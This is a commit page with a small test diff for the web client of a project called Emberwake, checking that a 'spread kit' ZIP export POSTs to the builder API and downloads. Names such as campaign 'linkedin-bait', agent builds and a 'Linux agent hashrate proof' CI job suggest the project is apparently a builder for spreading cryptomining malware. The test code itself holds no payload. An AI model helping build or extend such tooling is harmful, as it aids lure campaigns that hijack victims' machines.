Fix Emberwake downloads by appending blob anchors before click.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
ZIP exports and public download links silently failed because blob saves skipped document.body appendChild (unlike Builds DownloadButton) and public links pointed at the command-deck URL instead of same-origin paths.
This commit is contained in:
@@ -322,6 +322,32 @@ describe('api client', () => {
|
||||
expect(lastFetch().init.method).toBe('DELETE');
|
||||
});
|
||||
|
||||
it('exportSpreadKit POSTs and triggers blob download', async () => {
|
||||
setStoredAuth('user', 'pass');
|
||||
fetchMock.mockResolvedValueOnce(new Response(new Blob(['zip']), { status: 200 }));
|
||||
const appendChildSpy = vi.spyOn(document.body, 'appendChild');
|
||||
const clickMock = vi.fn();
|
||||
vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock);
|
||||
|
||||
await api.exportSpreadKit({
|
||||
build_id: 'build-1',
|
||||
server_url: 'http://localhost:8989',
|
||||
campaign: 'linkedin-bait',
|
||||
});
|
||||
|
||||
const { url, init } = lastFetch();
|
||||
expect(url).toBe('/api/v1/builder/spread-kit-export');
|
||||
expect(init.method).toBe('POST');
|
||||
expectAuthHeaders(init);
|
||||
expect(JSON.parse(init.body as string)).toEqual({
|
||||
build_id: 'build-1',
|
||||
server_url: 'http://localhost:8989',
|
||||
campaign: 'linkedin-bait',
|
||||
});
|
||||
expect(appendChildSpy).toHaveBeenCalled();
|
||||
expect(clickMock).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('getDashboardStats and listBuilds', async () => {
|
||||
fetchMock
|
||||
.mockResolvedValueOnce(
|
||||
|
||||
Reference in New Issue
Block a user